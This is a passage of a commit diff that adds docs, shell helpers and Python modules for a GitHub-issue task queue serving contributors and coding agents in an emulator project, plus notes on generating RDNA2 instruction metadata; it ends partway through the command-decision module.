reserved-11111 1 1f000000000000000000000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
reserved-11111 1 ffffffffffffffffffffffffffffffff 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000 000000000000
+1
View File
@@ -48,3 +48,4 @@ either path. The [changelog](../CHANGELOG.md) records notable changes.
- [Threat model](threat-model.md) and [security reporting](../SECURITY.md) — Execution limits and disclosure instructions.
- [Legal scope](legal.md), [dependency licensing](licenses.md), and [third-party notices](../THIRD_PARTY_NOTICES.md) — Input policy, attribution, and redistribution findings.
- [Contribution guidelines](../CONTRIBUTING.md) — Original authorship, Developer Certificate of Origin sign-off, and evidence requirements.
- [Agent task queue](coordination/agent-tasks.md) — Areas, claiming, leases, upstream sync, verification and the security model for parallel contributors and coding agents.
+144
View File
@@ -0,0 +1,144 @@
# Agent task queue
Work items are GitHub issues. Contributors and coding agents claim them with a comment, work in
their own branch, and open a pull request that is checked against the claim. The queue is
deterministic: the rules live in `scripts/agent_queue/` (standard-library Python, no network, no
model or external service), and GitHub Actions and the shell helpers only call it.
Status: implemented and unit-tested locally. **Not yet run on GitHub**: the workflows are untested
against the real API until the first live run. Until a live smoke test has passed and existing issues
have been migrated into the queue, the pull request check is **advisory**: it reports problems but
never blocks a merge, and it must not be made a required check.
## Areas
| Area | Owner | Scope |
| --- | --- | --- |
| `cpu` | maintainer | CPU translation, ARM64 dynamic binary translation, PE loading, guest startup, core guest memory |
| `gpu` | GPU contributor | RDNA2, shaders, graphics, Metal |
| `runtime` | runtime contributor | Win32, CRT, C++ runtime, import generation, OS services, platform abstractions |
| `shared` | agreed by the owners involved | Interfaces that cross subsystems |
| `qa` | any qa contributor | Independent verification, regression testing, security review |
Who may claim what is in `.github/agent-queue.json` (`maintainers`, `contributors`, `lease_hours`,
`upstream`). The file is plain JSON, so the notes live here: the maintainer must add the runtime
contributor's GitHub login under `contributors` (for example `"their-login": ["runtime", "qa"]`)
before that person can claim. Maintainers may claim any area; others only the areas listed for them.
## One-time label bootstrap (maintainer)
```sh
for l in agent:ready agent:claimed agent:blocked agent:invalid agent:conflict \
area:cpu area:gpu area:runtime area:shared area:qa \
priority:critical priority:high priority:medium priority:low; do
gh label create "$l" --force --color BFD4F2
done
```
`claimed-by:<login>` labels are created by the workflow when a claim is granted.
## Lifecycle
1. Post a task with the *Agent task* issue form or `scripts/agent-queue.sh new body.md "task: title"`.
Area, Priority, Files (exact paths, `dir/` prefixes, `*` and `**` globs), Acceptance command,
Depends on and, for shared work, Interface (interface name and the version or upstream commit
it targets).
2. `scripts/agent-queue.sh next <area>` picks the highest-priority task you may claim now.
3. `scripts/agent-queue.sh claim <n>` posts `/claim` and waits until the bot confirms: a grant
comment carrying a marker, and the label `claimed-by:<you>`. **Do not edit anything before it
prints "claimed".** Refusals name the reason: not `agent:ready`, area not allowed for you, open
or missing dependency, dependency cycle, or file overlap with a claimed task (the issue is named).
Claims are decided one at a time across the whole repository, so two overlapping claims cannot both win.
GitHub keeps at most one waiting run in a concurrency group and cancels it when a newer one
queues, so each run decides every command of the last `lease_hours` that has no bot reply yet,
oldest first; a comment listed twice is decided once. A command whose own run was cancelled is answered by the run that replaced it, or at
the latest by the hourly audit. Each reply carries a marker naming the comment it answers. A
command left unanswered for more than `lease_hours` (the workflow did not run) gets a "Not
decided" reply instead and must be posted again; one older than twice that is no longer read.
4. `scripts/agent-queue.sh start <n>` creates branch `task/<n>-<slug>` from `upstream/main` in a
separate worktree `../xenora-task-<n>` (`--here` uses the current clean checkout instead).
5. Keep the lease alive with `scripts/agent-queue.sh progress <n> "what changed"`. A claim lapses
`lease_hours` (24) after the latest of: the grant, your `/progress` comment, a push to your
linked pull request. Other people's comments never renew it. A lapsed task returns to the queue.
6. Open the pull request with `Closes #<n>` and a DCO sign-off (`git commit -s`).
7. A different person (not the author, not the task holder) who is a maintainer or has `qa`
comments `/verified <full 40-character head sha>` after running the acceptance command. A new push changes the
head and invalidates the verification.
## Commands (issue comments)
A command must start the comment. Comments that do not start with `/` (on an issue) or with
`/verified` (on a pull request) start no job: GitHub records a skipped run and nothing else happens.
| Command | Who | Effect |
| --- | --- | --- |
| `/claim` | allowed for the area | Take a ready task |
| `/release` | holder or maintainer | Return the task to the queue |
| `/reassign <login>` | maintainer | Hand the task to someone allowed for its area; new lease |
| `/progress <text>` | holder | Renew the lease (text required) |
| `/blocked <reason>`, `/unblock` | holder or maintainer | Set or clear `agent:blocked` |
| `/approve-acceptance` | maintainer | Authorise the acceptance command as currently written |
| `/verified <40-character sha>` (on a pull request) | maintainer or `qa`, not author, not holder | Independent verification of the current head |
Labels: `area:<x>`, `priority:<critical|high|medium|low>`, `agent:ready|claimed|blocked|invalid|conflict`,
`claimed-by:<login>`. An hourly audit lapses stale claims, marks tasks with missing dependencies or
cycles `agent:invalid` (and restores them when fixed), flags overlapping claims `agent:conflict`, and
writes a JSON summary to the run summary. `scripts/agent-queue.sh status --json` prints the same
machine-readable summary (counts and lists per area, priority and state).
## Pull request checks
`agent-pr-checks` fails a pull request when: it has no `Closes #N` for a claimed task; the task is held
by someone else; it changes files outside the task's patterns; it changes a file that another open
pull request also changes; the claim has lapsed without a push; or no eligible `/verified <current
head sha>` exists. The SHA must be the full 40 characters and the only argument: a commit with the
same short prefix is cheap to make. After an accepted `/verified` (an eligible verifier, the current
head) the verify job evaluates the same check again and writes it to its run summary; the earlier
check run is not re-run, since `pull_request_target` runs are recorded against the base branch and
cannot be found by the pull request head. Refused, stale, malformed or unauthorized `/verified`
comments get a reply and nothing else, and other pull request comments start no job.
The check is advisory for now: a failure is shown as a warning and in the run summary, and the job
still succeeds. It becomes blocking (fail on problems, then a required check) only after a live smoke
test on GitHub and the migration of existing issues into the queue.
## Forks and upstream sync
Work from a fork, but synchronise against the real upstream (`ranveersoni98/Xenora` in the
config), never only your fork's `origin/main`. `scripts/agent-sync.sh` adds the remote `upstream` if
missing (it never touches `origin`), fetches every 12 minutes (`--interval 10..15`, `--once` for one
pass) and, after each fetch, lists new upstream commits that touch files of tasks you hold. It never
merges by itself; `--merge` merges `upstream/main` into the current task branch only when the tree
is clean. It works from any worktree.
Interface changes during work, for example the maintainer's unpublished changes landing: put the
interface in a `shared` task whose Interface field names the version or commit other tasks target.
Tasks that depend on it list it in Depends on, so they cannot be claimed before it closes, and a
sync report that shows upstream touching your files is the signal to re-read the interface and merge.
## Security model
- Issue and comment text is data. It is parsed by fixed rules and never evaluated, never put into a
shell command line, and workflow expressions never appear inside `run:` blocks (event data is read
from the event file).
- Acceptance commands are never run automatically. `scripts/agent-queue.sh acceptance <n>` prints
one only when a maintainer's `/approve-acceptance` marker (posted by the bot) matches a hash of
the current text; editing the issue body invalidates the approval. Read the command before running it.
- Markers (grant, approval, answered command) count only when posted by the Actions bot, so they cannot be forged in a comment.
User text that a bot reply echoes (a `/blocked` reason, a login, a file pattern) has its angle brackets and backticks escaped, so a reply cannot carry a marker the user wrote.
- Workflows declare empty top-level permissions and grant each job only what it needs; actions are
pinned by commit SHA. Pull request checks run on the base branch (`pull_request_target`), never
check out or run pull request code and read changed files through the API.
- Clean-room, DCO and native ARM64 rules in `AGENTS.md` and `CONTRIBUTING.md` apply unchanged.
## Tests
```sh
PYTHONPATH=scripts python3 -m unittest discover -s tests/agent_queue -v
sh -n scripts/agent-queue.sh scripts/agent-sync.sh
```
The tests cover command decisions, overlap, cycles, leases, acceptance hashing, pull request checks,
the summary, the CLI, claim concurrency (a model of a concurrency group in which newer runs cancel
pending ones, and in-order replay of unanswered commands) and a structural check of the workflow
files, including which comments start a run. They do not exercise GitHub itself.
+46
View File
@@ -38,3 +38,49 @@ Run from the checkout root after extracting the approved XML.
```sh
python3 crates/isa/generate_rdna2.py path/to/amdgpu_isa_rdna2.xml | diff -u crates/isa/src/rdna2.rs -
```
## Complete instruction metadata
`crates/isa/generate_rdna2_meta.py` reduces the same approved XML to every
gfx1030 base instruction form: 1,465 forms in 21 encoding families, with
identifying bits, field layouts, operands (field, data format, operand type,
width, direction), control-flow flags and allowed extension words. It runs in
two stages so regeneration and CI checks need no network and no XML:
```sh
python3 crates/isa/generate_rdna2_meta.py --xml path/to/amdgpu_isa_rdna2.xml # XML -> snapshot -> Rust
python3 crates/isa/generate_rdna2_meta.py --check # snapshot -> Rust, compare
```
The snapshot `crates/isa/data/rdna2.jsonl` is sorted, normalised MIT data
under the AMD notice in `crates/isa/LICENSE-AMD`. The generator rejects a
different XML hash, another architecture, unclassified encodings, duplicate
variants, identifying bits outside a mask and overlapping encodings. Two
details are not in the identifier masks and are handled explicitly: MIMG
opcode bit 7 sits at bit 0, and MTBUF opcode bit 3 sits at bit 53.
The XML names literal, SDWA, DPP8, DPP16 and NSA variants without a rule for
when they apply. `xenora_isa::meta::identify` implements those length rules by
hand: a source field equal to 255 (`SRC_LITERAL` in the XML) adds a literal;
VOP1, VOP2 and VOPC `SRC0` values 0xF9, 0xFA, 0xE9 and 0xEA add an SDWA, DPP16
or DPP8 control dword (from the RDNA 2 ISA guide's SDWA and DPP sections, not
the XML); MIMG `NSA` adds that many address dwords. An extension the form does
not list is rejected. Every LLVM-assembled fixture identifies with exact
boundaries and matching mnemonics. `crates/isa/tests/llvm/identify.s` holds one
instruction per family and extension word (literal, SDWA, DPP16, DPP8 with and
without fetch-inactive, VOP3 and VOP3P literals, NSA images, MTBUF opcodes
above 7, MSAA loads); its LLVM oracle compares every name and length:
```sh
LLVM_BIN=path/to/llvm/bin cargo test --locked -p xenora-isa --test meta_llvm -- --include-ignored
```
The oracle found five instructions that the XML lists only under a literal
encoding (`S_SETREG_IMM32_B32`, `V_FMAMK_F32`, `V_FMAAK_F32`, `V_FMAMK_F16`,
`V_FMAAK_F16`); the generator now treats them as base forms that always carry a
literal.
Identification is not execution. `xenora shaders coverage` reports forms
discovered in metadata against forms the semantic decoder accepts
(`xenora_decoder::SEMANTIC_FORMS`); reference, Metal and native GPU evidence
per form remains in `docs/status.toml`.
+2
View File
@@ -1,5 +1,7 @@
# gfx1030 instruction coverage
For counts of every gfx1030 form in AMD's metadata against forms Xenora can execute, run `xenora shaders coverage`. Its "discovered" column is metadata coverage, not execution support.
The decoder accepts an explicitly tagged, little-endian gfx1030 Wave32
stream with 32 lanes per wave under the [synthetic memory ABI](../adr/0003-demo-memory-model.md).
Recognition means that the opcode mask matches. Decode additionally checks
+153
View File
@@ -0,0 +1,153 @@
#!/bin/sh
# SPDX-License-Identifier: GPL-3.0-or-later
# Agent task queue helper: a thin wrapper over `python3 -m agent_queue` and gh.
# Always talks to the upstream repository named in .github/agent-queue.json, not to a fork.
# See docs/coordination/agent-tasks.md. Issue text is data: nothing from it is ever executed.
set -eu
root=$(cd "$(dirname "$0")/.." && pwd)
PYTHONPATH="$root/scripts"
export PYTHONPATH
aq() { python3 -m agent_queue --config "$root/.github/agent-queue.json" "$@"; }
repo=$(aq config-get upstream)
tmp=$(mktemp -d "${TMPDIR:-/tmp}/agent-queue.XXXXXX")
trap 'rm -rf "$tmp"' EXIT INT TERM
usage() {
cat >&2 <<'USAGE'
usage: scripts/agent-queue.sh list [area] [--json] ready tasks, by priority then number
scripts/agent-queue.sh next <area> best claimable task for you in <area>
scripts/agent-queue.sh claim <issue> claim and wait for the confirmed grant
scripts/agent-queue.sh start <issue> [--here] branch task/<n>-<slug> from upstream/main in a new worktree
scripts/agent-queue.sh progress <issue> <text> progress note; renews the lease
scripts/agent-queue.sh release <issue> give the task back
scripts/agent-queue.sh reassign <issue> <login> maintainers only
scripts/agent-queue.sh acceptance <issue> print the acceptance command only if a maintainer approved it
scripts/agent-queue.sh status [--json] queue summary
scripts/agent-queue.sh new <body.md> <title> open a task from a body that follows the template
USAGE
exit 2
}
isnum() { case "$1" in ''|*[!0-9]*) echo "not an issue number: $1" >&2; exit 2 ;; esac; }
me() { gh api user -q .login; }
state() { aq gather --repo "$repo" --no-prs > "$tmp/state.json"; }
fetch() { aq fetch-issue --repo "$repo" --issue "$1" > "$tmp/issue.json"; }
post() { gh issue comment "$1" -R "$repo" --body "$2" >/dev/null; }
[ $# -ge 1 ] || usage
command=$1
shift
case "$command" in
list)
area=""
json=""
for a in "$@"; do
case "$a" in --json) json=--json ;; *) area=$a ;; esac
done
state
aq list --state "$tmp/state.json" --area "$area" $json
;;
next)
[ $# -eq 1 ] || usage
state
aq next --state "$tmp/state.json" --area "$1" --login "$(me)"
;;
claim)
[ $# -eq 1 ] || usage
isnum "$1"
login=$(me)
fetch "$1"
skip=$(python3 -c 'import json,sys; print(len(json.load(open(sys.argv[1]))["comments"]))' "$tmp/issue.json")
post "$1" /claim
i=0
while [ "$i" -lt 18 ]; do
sleep 10
i=$((i + 1))
fetch "$1"
rc=0
msg=$(aq claim-status --data "$tmp/issue.json" --login "$login" --skip "$skip") || rc=$?
case "$rc" in
0) echo "claimed #$1 as $login; you may start editing"; exit 0 ;;
1) echo "$msg" >&2; exit 1 ;;
esac
done
echo "claim of #$1 not confirmed within 3 minutes; do not start editing" >&2
exit 1
;;
start)
[ $# -ge 1 ] || usage
isnum "$1"
n=$1
here=no
[ "${2:-}" != "--here" ] || here=yes
login=$(me)
fetch "$n"
rc=0
aq claim-status --data "$tmp/issue.json" --login "$login" >/dev/null || rc=$?
[ "$rc" -eq 0 ] || { echo "no confirmed claim of #$n for $login: run claim first" >&2; exit 1; }
slug=$(python3 -c 'import json,re,sys; print(re.sub(r"[^a-z0-9]+","-",json.load(open(sys.argv[1]))["issues"][0]["title"].lower().replace("task:","")).strip("-")[:40])' "$tmp/issue.json")
branch="task/$n${slug:+-$slug}"
sh "$root/scripts/agent-sync.sh" --setup
git -C "$root" fetch upstream
if [ "$here" = yes ]; then
[ -z "$(git -C "$root" status --porcelain)" ] || { echo "working tree not clean" >&2; exit 1; }
git -C "$root" switch -c "$branch" upstream/main
echo "on $branch (from upstream/main)"
else
dir="$root/../xenora-task-$n"
git -C "$root" worktree add -b "$branch" "$dir" upstream/main
echo "worktree $dir on $branch (from upstream/main)"
fi
;;
progress)
[ $# -ge 2 ] || usage
isnum "$1"
n=$1
shift
post "$n" "/progress $*"
;;
release)
[ $# -eq 1 ] || usage
isnum "$1"
post "$1" /release
;;
reassign)
[ $# -eq 2 ] || usage
isnum "$1"
post "$1" "/reassign $2"
;;
acceptance)
[ $# -eq 1 ] || usage
isnum "$1"
fetch "$1"
python3 - "$tmp/issue.json" "$tmp/i.json" "$tmp/c.json" <<'PY'
import json, sys
d = json.load(open(sys.argv[1]))
json.dump(d["issues"][0], open(sys.argv[2], "w"))
json.dump(d["comments"], open(sys.argv[3], "w"))
PY
aq acceptance --issue "$tmp/i.json" --comments "$tmp/c.json"
;;
status)
state
if [ "${1:-}" = "--json" ]; then
aq summary --state "$tmp/state.json"
else
aq summary --state "$tmp/state.json" --text
fi
;;
new)
[ $# -eq 2 ] || usage
labels=$(aq check-body --file "$1")
for l in agent:ready $labels; do
gh label create "$l" -R "$repo" --force --color BFD4F2 >/dev/null
done
gh issue create -R "$repo" --label agent:ready --label "$(printf '%s\n' "$labels" | sed -n 1p)" \
--label "$(printf '%s\n' "$labels" | sed -n 2p)" --title "$2" --body-file "$1"
;;
*)
usage
;;
esac
+86
View File
@@ -0,0 +1,86 @@
#!/bin/sh
# SPDX-License-Identifier: GPL-3.0-or-later
# Keeps a checkout in step with the real upstream repository (not a fork's origin).
# agent-sync.sh [--once] [--interval MINUTES] [--merge] [--setup]
# --setup only make sure the `upstream` remote exists, then exit
# --once one fetch and report, then exit (default: repeat every 12 minutes)
# --merge merge upstream/main into the current task branch if the tree is clean
# After each fetch it lists new upstream commits that touch files of tasks you hold, so
# interface changes landing during your work are noticed. Nothing is merged unless --merge.
set -eu
root=$(cd "$(dirname "$0")/.." && pwd)
PYTHONPATH="$root/scripts"
export PYTHONPATH
aq() { python3 -m agent_queue --config "$root/.github/agent-queue.json" "$@"; }
once=no
setup=no
merge=no
interval=12
while [ $# -gt 0 ]; do
case "$1" in
--once) once=yes ;;
--setup) setup=yes ;;
--merge) merge=yes ;;
--interval) shift; interval=${1:?minutes} ;;
*) echo "usage: agent-sync.sh [--once] [--interval 10-15] [--merge] [--setup]" >&2; exit 2 ;;
esac
shift
done
case "$interval" in ''|*[!0-9]*) echo "interval must be whole minutes" >&2; exit 2 ;; esac
if [ "$interval" -lt 10 ] || [ "$interval" -gt 15 ]; then
echo "interval must be 10-15 minutes" >&2
exit 2
fi
upstream_repo=$(aq config-get upstream)
url="https://github.com/$upstream_repo.git"
git -C "$root" rev-parse --git-dir >/dev/null
if ! git -C "$root" remote get-url upstream >/dev/null 2>&1; then
git -C "$root" remote add upstream "$url"
echo "added remote upstream -> $url"
elif [ "$(git -C "$root" remote get-url upstream)" != "$url" ]; then
echo "remote upstream is $(git -C "$root" remote get-url upstream), expected $url; fix it by hand (origin is never changed)" >&2
exit 1
fi
[ "$setup" = no ] || exit 0
pass() {
old=$(git -C "$root" rev-parse -q --verify refs/remotes/upstream/main || true)
git -C "$root" fetch --quiet upstream
new=$(git -C "$root" rev-parse refs/remotes/upstream/main)
if [ -n "$old" ] && [ "$old" != "$new" ]; then
echo "upstream/main moved: $(git -C "$root" rev-list --count "$old..$new") new commit(s)"
tmp=$(mktemp -d "${TMPDIR:-/tmp}/agent-sync.XXXXXX")
login=$(gh api user -q .login)
aq gather --repo "$upstream_repo" --no-prs > "$tmp/state.json"
git -C "$root" log --name-only --format='@%h' "$old..$new" |
awk '/^@/ {sha=substr($0,2); next} NF {print sha "\t" $0}' > "$tmp/files.tsv"
aq touch --state "$tmp/state.json" --login "$login" < "$tmp/files.tsv" > "$tmp/hits.json"
if [ "$(tr -d ' \n' < "$tmp/hits.json")" != "[]" ]; then
echo "upstream changed files of tasks you hold (check for interface changes):"
cat "$tmp/hits.json"
fi
rm -rf "$tmp"
elif [ -z "$old" ]; then
echo "fetched upstream/main at $(printf '%s' "$new" | cut -c1-12)"
else
echo "upstream/main unchanged"
fi
if [ "$merge" = yes ]; then
if [ -n "$(git -C "$root" status --porcelain)" ]; then
echo "not merging: working tree not clean" >&2
else
git -C "$root" merge --no-edit upstream/main
fi
fi
}
pass
[ "$once" = yes ] && exit 0
while true; do
sleep $((interval * 60))
pass
done
+6
View File
@@ -0,0 +1,6 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Deterministic agent task queue logic. Pure functions, standard library only.
Issue and comment text is untrusted data: it is parsed, never evaluated and
never passed to a shell.
"""
+6
View File
@@ -0,0 +1,6 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import sys
from .cli import main
sys.exit(main(sys.argv[1:]))
+164
View File
@@ -0,0 +1,164 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Command line entry: PYTHONPATH=scripts python3 -m agent_queue <subcommand>. JSON in, JSON out."""
import argparse
import json
import sys
from datetime import datetime, timedelta, timezone
from . import config as cfgmod
from . import ghio
from . import lease as L
from . import prcheck, queue, replay
from . import tasks as T
from . import decide as decide_mod
from .decide import decide
from .patterns import path_matches
def _load(path):
with open(path, encoding="utf-8") if path != "-" else sys.stdin as fh:
return json.load(fh)
def _now(arg):
return T.parse_time(arg) if arg else datetime.now(timezone.utc)
def _out(obj):
json.dump(obj, sys.stdout, indent=2, sort_keys=True)
sys.stdout.write("\n")
def main(argv):
p = argparse.ArgumentParser(prog="agent_queue")
p.add_argument("--config", default=".github/agent-queue.json")
p.add_argument("--now", default="", help="UTC time YYYY-MM-DDTHH:MM:SSZ (tests)")
sub = p.add_subparsers(dest="cmd", required=True)
s = sub.add_parser("gather"); s.add_argument("--repo", required=True); s.add_argument("--no-prs", action="store_true"); s.add_argument("--pr", type=int, default=0)
s.add_argument("--recent-commands", action="store_true", help="include comments from the last 2 x lease_hours for replay")
s = sub.add_parser("replay"); s.add_argument("--state", required=True)
s = sub.add_parser("decide"); s.add_argument("--event", required=True); s.add_argument("--state", required=True)
s = sub.add_parser("should-rerun"); s.add_argument("--actions", required=True)
s = sub.add_parser("apply"); s.add_argument("--repo", required=True); s.add_argument("--actions", required=True)
s = sub.add_parser("audit"); s.add_argument("--state", required=True)
s = sub.add_parser("summary"); s.add_argument("--state", required=True); s.add_argument("--text", action="store_true")
s = sub.add_parser("pr-check"); s.add_argument("--state", required=True)
s = sub.add_parser("acceptance"); s.add_argument("--issue", required=True); s.add_argument("--comments", required=True)
s = sub.add_parser("task"); s.add_argument("--issue", required=True)
s = sub.add_parser("touch"); s.add_argument("--state", required=True); s.add_argument("--login", required=True)
s = sub.add_parser("fetch-issue"); s.add_argument("--repo", required=True); s.add_argument("--issue", type=int, required=True)
s = sub.add_parser("claim-status"); s.add_argument("--data", required=True); s.add_argument("--login", required=True); s.add_argument("--skip", type=int, default=0)
s = sub.add_parser("list"); s.add_argument("--state", required=True); s.add_argument("--area", default=""); s.add_argument("--json", action="store_true")
s = sub.add_parser("next"); s.add_argument("--state", required=True); s.add_argument("--area", required=True); s.add_argument("--login", required=True)
s = sub.add_parser("check-body"); s.add_argument("--file", required=True)
s = sub.add_parser("event"); s.add_argument("--path", required=True)
s = sub.add_parser("config-get"); s.add_argument("key")
a = p.parse_args(argv)
cfg = cfgmod.load(a.config)
if a.cmd == "event":
# normalise a GitHub webhook payload file (issue_comment or pull_request_target)
ev = _load(a.path)
item = ev.get("issue") or ev.get("pull_request") or {}
who = (ev.get("comment") or {}).get("user") or item.get("user") or {}
_out({"kind": "pr" if ("pull_request" in ev or "pull_request" in item) else "issue",
"number": item.get("number"), "actor": who.get("login", ""),
"body": (ev.get("comment") or {}).get("body", "")})
elif a.cmd == "config-get":
v = cfg[a.key]
print(v if isinstance(v, (str, int, float)) else json.dumps(v))
elif a.cmd == "gather":
since = ""
if a.recent_commands:
since = (_now(a.now) - timedelta(hours=replay.window_hours(cfg))).strftime("%Y-%m-%dT%H:%M:%SZ")
st = ghio.gather(a.repo, with_prs=not a.no_prs, recent_since=since)
if a.pr:
st["pr"] = ghio.pr_data(a.repo, a.pr)
st["pr_comments"] = ghio.comments(a.repo, a.pr)
_out(st)
elif a.cmd == "decide":
_out(decide(_load(a.event), _load(a.state), cfg))
elif a.cmd == "replay":
_out(replay.replay(_load(a.state), cfg, _now(a.now)))
elif a.cmd == "should-rerun":
# exit 0 only for an accepted /verified of the current head
return 0 if decide_mod.rerun_check(_load(a.actions)) else 1
elif a.cmd == "apply":
ghio.apply_actions(a.repo, _load(a.actions))
elif a.cmd == "audit":
_out(queue.audit(_load(a.state), cfg, _now(a.now)))
elif a.cmd == "summary":
res = queue.summary(_load(a.state), a.now)
if a.text:
for r in res["tasks"]:
print("#%d\t%s\t%s\t%s\t%s\t%s" % (r["number"], r["state"], r["area"], r["priority"], r["holder"] or "-", r["title"]))
else:
_out(res)
elif a.cmd == "pr-check":
res = prcheck.check_pr(_load(a.state), cfg, _now(a.now))
_out(res)
return 0 if res["ok"] else 1
elif a.cmd == "task":
_out(T.parse_task(_load(a.issue)))
elif a.cmd == "acceptance":
task = T.parse_task(_load(a.issue))
want = L.approved_hash(_load(a.comments))
if not T.normalise_acceptance(task["acceptance"]) or want != T.acceptance_hash(task["acceptance"]):
sys.stderr.write("not authorized: no maintainer approval matches the current acceptance command\n")
return 3
print(T.normalise_acceptance(task["acceptance"]))
elif a.cmd == "fetch-issue":
_out({"issues": [ghio.issue(a.repo, a.issue)], "comments": ghio.comments(a.repo, a.issue)})
elif a.cmd == "claim-status":
data = _load(a.data)
task = T.parse_task(data["issues"][0])
comments = data["comments"]
if task["holder"] == a.login and "agent:claimed" in task["labels"] and L.latest_grant(comments, task["number"], a.login):
print("granted")
return 0
for c in reversed(comments[a.skip:]):
if c["user"] in L.BOT and c["body"].startswith("Claim refused for %s:" % a.login):
print(c["body"].split("\n", 1)[0])
return 1
print("pending")
return 2
elif a.cmd == "list":
tasks = decide_mod.task_index(_load(a.state))
rows = [t for t in tasks.values() if t["state"] == "OPEN" and "agent:ready" in t["labels"]
and (not a.area or t["area"] == a.area)]
rows.sort(key=lambda t: (cfgmod.PRIORITIES.index(t["priority"]), t["number"]))
if a.json:
_out([{k: t[k] for k in ("number", "title", "area", "priority", "depends", "files")} for t in rows])
else:
for t in rows:
print("#%d\t%s\t%s\t%s" % (t["number"], t["area"], t["priority"], t["title"]))
elif a.cmd == "next":
tasks = decide_mod.task_index(_load(a.state))
rows = sorted((t for t in tasks.values() if t["state"] == "OPEN" and t["area"] == a.area),
key=lambda t: (cfgmod.PRIORITIES.index(t["priority"]), t["number"]))
for t in rows:
if not decide_mod.claim_problem(t, tasks, cfg, a.login):
print(t["number"])
return 0
sys.stderr.write("no claimable task in area %s\n" % a.area)
return 1
elif a.cmd == "check-body":
with open(a.file, encoding="utf-8") as fh:
t = T.parse_task({"number": 0, "body": fh.read()})
if not t["area"] or not t["files"] or not T.normalise_acceptance(t["acceptance"]):
sys.stderr.write("body needs a valid Area, Files and Acceptance command section\n")
return 1
print("area:" + t["area"])
print("priority:" + t["priority"])
elif a.cmd == "touch":
# stdin lines "<sha>\t<path>"; report those touching patterns of tasks held by login
state, hits = _load(a.state), []
held = [T.parse_task(i) for i in state["issues"]]
held = [t for t in held if t["holder"] == a.login and t["state"] == "OPEN"]
for line in sys.stdin.read().splitlines():
sha, _, path = line.partition("\t")
for t in held:
if any(path_matches(path, pat) for pat in t["files"]):
hits.append({"commit": sha, "path": path, "task": t["number"]})
_out(hits)
return 0
+34
View File
@@ -0,0 +1,34 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
AREAS = ("cpu", "gpu", "runtime", "shared", "qa")
PRIORITIES = ("critical", "high", "medium", "low")
DEFAULT = {"lease_hours": 24, "maintainers": [], "contributors": {}, "upstream": ""}
def parse(text):
data = json.loads(text)
cfg = dict(DEFAULT)
cfg.update({k: data[k] for k in DEFAULT if k in data})
if not isinstance(cfg["lease_hours"], (int, float)) or cfg["lease_hours"] <= 0:
raise ValueError("lease_hours must be a positive number")
return cfg
def load(path):
with open(path, encoding="utf-8") as fh:
return parse(fh.read())
def is_maintainer(cfg, login):
return login in cfg["maintainers"]
def may_work_on(cfg, login, area):
if is_maintainer(cfg, login):
return True
return area in cfg["contributors"].get(login, [])
def is_verifier(cfg, login):
return is_maintainer(cfg, login) or "qa" in cfg["contributors"].get(login, [])
+184
View File
@@ -0,0 +1,184 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Comment command decisions. Returns actions as data; the caller applies them."""
import re
from . import config as cfgmod
from . import lease as L
from . import tasks as T
COMMANDS = ("/claim", "/release", "/reassign", "/progress", "/blocked", "/unblock",
"/approve-acceptance", "/verified")
def quote(text):
"""User text echoed in a bot reply. Markers count only from the bot, so the reply must not be able
to carry one the user wrote: angle brackets are escaped and code spans are closed."""
return str(text).replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("`", "'")
def parse_command(body):
first = (body or "").strip().split("\n", 1)[0].strip()
parts = first.split(None, 1)
if not parts or parts[0] not in COMMANDS:
return None, ""
return parts[0], (parts[1].strip() if len(parts) > 1 else "")
FULL_SHA = re.compile(r"[0-9a-f]{40}")
def verified_sha(body):
"""The SHA of a well-formed `/verified <40-hex sha>` first line, else "". A short prefix is
refused: a pushed commit with the same short prefix is cheap to make."""
cmd, arg = parse_command(body)
parts = arg.split()
if cmd != "/verified" or len(parts) != 1 or not FULL_SHA.fullmatch(parts[0]):
return ""
return parts[0]
def _act(issue, add=(), remove=(), comment=""):
return {"issue": issue, "add_labels": list(add), "remove_labels": list(remove), "comment": comment}
def _reply(issue, text):
return [_act(issue, comment=text)]
def task_index(state):
return {int(i["number"]): T.parse_task(i) for i in state.get("issues", [])}
def claim_problem(task, tasks, cfg, actor):
if "agent:ready" not in task["labels"]:
who = " (held by %s)" % task["holder"] if task["holder"] else ""
return "not claimable: the issue is not labelled agent:ready%s." % who
if not task["area"]:
return "not claimable: the Area field is missing or not one of %s." % ", ".join(cfgmod.AREAS)
if not cfgmod.may_work_on(cfg, actor, task["area"]):
return "%s is not allowed to claim area:%s tasks (see .github/agent-queue.json)." % (actor, task["area"])
if not task["files"]:
return "not claimable: the Files field lists no paths."
d = T.dep_problems(task, tasks)
if d["missing"]:
return "dependency issue(s) not found: %s." % ", ".join("#%d" % n for n in d["missing"])
if d["cycle"]:
return "dependency cycle: %s." % " -> ".join("#%d" % n for n in d["cycle"])
if d["open"]:
return "open dependencies: %s." % ", ".join("#%d" % n for n in d["open"])
from .patterns import sets_overlap
for other in sorted(tasks.values(), key=lambda t: t["number"]):
if other["number"] == task["number"] or other["state"] != "OPEN":
continue
if "agent:claimed" not in other["labels"]:
continue
hit = sets_overlap(task["files"], other["files"])
if hit:
return "file overlap with claimed task #%d (`%s` vs `%s`)." % (other["number"], quote(hit[0]), quote(hit[1]))
return ""
def decide(event, state, cfg):
cmd, arg = parse_command(event.get("body"))
if cmd is None:
return []
actor, n = event["actor"], int(event["number"])
if cmd == "/verified":
return _verified(event, state, cfg, arg)
if event.get("kind") == "pr":
return []
tasks = task_index(state)
task = tasks.get(n)
if task is None or task["state"] != "OPEN":
return []
holder = task["holder"]
maint = cfgmod.is_maintainer(cfg, actor)
if cmd == "/claim":
problem = claim_problem(task, tasks, cfg, actor)
if problem:
return _reply(n, "Claim refused for %s: %s" % (actor, problem))
text = "Claimed by %s. The claim lapses %s hours after the latest grant, /progress comment or push to the linked pull request.\n%s" % (
actor, cfg["lease_hours"], L.grant_marker(n, actor))
return [_act(n, ["agent:claimed", "claimed-by:" + actor], ["agent:ready"], text)]
if cmd == "/release":
if "agent:claimed" not in task["labels"]:
